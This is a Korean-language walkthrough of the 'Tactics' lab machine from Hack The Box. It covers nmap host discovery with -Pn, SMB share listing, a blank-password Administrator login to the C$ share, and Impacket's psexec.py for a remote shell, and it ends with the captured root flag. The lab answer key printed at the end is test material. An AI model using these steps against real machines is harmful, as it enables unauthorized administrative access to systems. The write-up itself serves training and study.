[STARTING_POINT] Tier1 Tactics

Task 1
Which Nmap switch can we use to enumerate machines when our ping ICMP packets are blocked by the Windows firewall? Windows 방화벽에서 ICMP ping 패킷이 차단된 경우, Nmap으로 호스트를 탐지(열거)할 때 사용할 수 있는 옵션은 무엇인가요?
nmap은 기본적으로 icmp, 443, 80 scanning을 통해 호스트 탐지(host discovery)를 진행하는데, 응답이 돌아오지 않는게 하나라도 있다면 호스트가 죽었다고 판단합니다.
이런 호스트 탐지를 하지 않고 포트 스캐닝을 진행하려면 -Pn 옵션을 사용하면 됩니다.
┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.17.178 -p- -Pn --min-rate 2000
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 21:32 +0900
Nmap scan report for 10.129.17.178
Host is up (0.28s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 66.62 seconds
Task 2
What does the 3-letter acronym SMB stand for? SMB라는 3글자 약자는 무엇을 의미하나요?
SMB는 Server Message Block 의 약어입니다.
Task 3
What default port does SMB listen on? SMB는 기본적으로 어떤 포트를 사용하나요?
SMB의 기본 포트는 445 입니다.
Task 4
What command line argument do you give to smbclient to list available shares?
smbclient에서 사용 가능한 공유(share) 목록을 확인하려면 어떤 명령어 옵션을 사용해야 하나요?
우선 포트 스캔 결과 해당 머신에 SMB 프로토콜이 동작하고 있다는 것을 알 수 있으니, smbclient를 통해 접근해볼 수 있습니다.
smbclient --help
smbclient 도움말을 확인해보면, -L 옵션을 통해 공유 목록을 확인할 수 있음을 알 수 있습니다.
-N 옵션을 통해 패스워드 없이 접속 시도를 할 수 있습니다. 이게 가능하다면 null session 취약점이 존재함을 확인할 수 있습니다.
하지만,
┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.129.17.178 -N
session setup failed: NT_STATUS_ACCESS_DENIED
시도해보면, 로그인에 실패하는 것을 볼 수 있습니다.
그러면 계정명을 추측해야하는데, 우선 관리자 계정명인 Administrator 로 시도해볼 수 있습니다. (-U 옵션으로 지정)
┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.129.17.178 -U Administrator
Password for [WORKGROUP\Administrator]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.17.178 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
패스워드를 물어보는데, 이때 그냥 엔터키로 넘어가면 로그인이 되어버립니다. (취약 - 패스워드 X)
이렇게 관리자 권한으로 SMB에 접근할 수 있음을 확인할 수 있습니다.
Task 5
What character at the end of a share name indicates it’s an administrative share? 공유 이름 끝에 어떤 문자가 붙으면 관리용(Administrative) 공유임을 의미하나요?
정답은 $ 표시 입니다.
$ 기호는 숨김 공유(Hidden Share)를 의미하는데, 일반 사용자에게는 안보이게 숨겨진 공유 입니다.
접근 권한이 있으면 당연히 접속 가능하며, 이런 특성 때문에 관리자용 / 시스템용으로 사용됩니다.
Task 6
Which Administrative share is accessible on the box that allows users to view the whole file system? 이 시스템에서 전체 파일 시스템을 확인할 수 있도록 접근 가능한 관리 공유는 무엇인가요?
정답은 C$ 입니다.
C$ 는 시스템의 루트 파티션 (C드라이브!) 전체를 공유하는 관리 공유이기 때문입니다.
Task 7
What command can we use to download the files we find on the SMB Share? SMB 공유에서 발견한 파일을 다운로드할 때 사용할 수 있는 명령어는 무엇인가요?
Administrator로 C$에 접근해서
┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.17.178/C$ -U Administrator
Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
mkfifo more mput newer notify
open posix posix_encrypt posix_open posix_mkdir
posix_rmdir posix_unlink posix_whoami print prompt
put pwd q queue quit
readlink rd recurse reget rename
reput rm rmdir showacls setea
setmode scopy stat symlink tar
tarmode timeout translate unlock volume
vuid wdel logon listconnect showconnect
tcon tdis tid utimes logoff
.. !
도움말을 확인해보면, get 명령을 확인할 수 있는데, 이 명령으로 파일을 다운로드할 수 있습니다.
Task 8
Which tool that is part of the Impacket collection can be used to get an interactive shell on the system? Impacket 컬렉션에 포함된 도구 중, 시스템에서 인터랙티브 쉘을 얻을 수 있는 도구는 무엇인가요?
Impacket은 네트워크 프로토콜을 처리하는 Python 라이브러리 모음으로, 주로 윈도우 환경의 네트워크 프로토콜을 대상으로 Low-level 프로그래밍 액세스를 제공합니다.
인증, 원격 실행, 정보 수집, 특수 공격 등등이 가능하며, 여기서는 psexec.py 를 이용하면 원격 실행이 가능합니다.
- psexec.py는 SMB를 통한 원격 명령 실행을 도와줍니다.
git clone → pip3 install -r requirements.txt --break-system-packages → python3 psecex.py <hostname>@<ip>
위 순서대로 사용 가능하며, 손쉽게 공격이 가능합니다.
Submit Flag
Submit root flag
smb: \Users\Administrator\Desktop\> ls
. DR 0 Thu Apr 22 16:16:03 2021
.. DR 0 Thu Apr 22 16:16:03 2021
desktop.ini AHS 282 Thu Apr 22 00:23:32 2021
flag.txt A 32 Fri Apr 23 18:39:00 2021
3774463 blocks of size 4096. 1158887 blocks available
\Users\Administrator\Desktop 에서 flag.txt를 get 명령으로 다운 받은 뒤, 읽어보면
┌──(kali㉿kali)-[~]
└─$ cat flag.txt
f751c19eda8f61ce81827e6930a1f40c
플래그를 획득할 수 있습니다.
- Flag : f751c19eda8f61ce81827e6930a1f40c
← ALL POSTS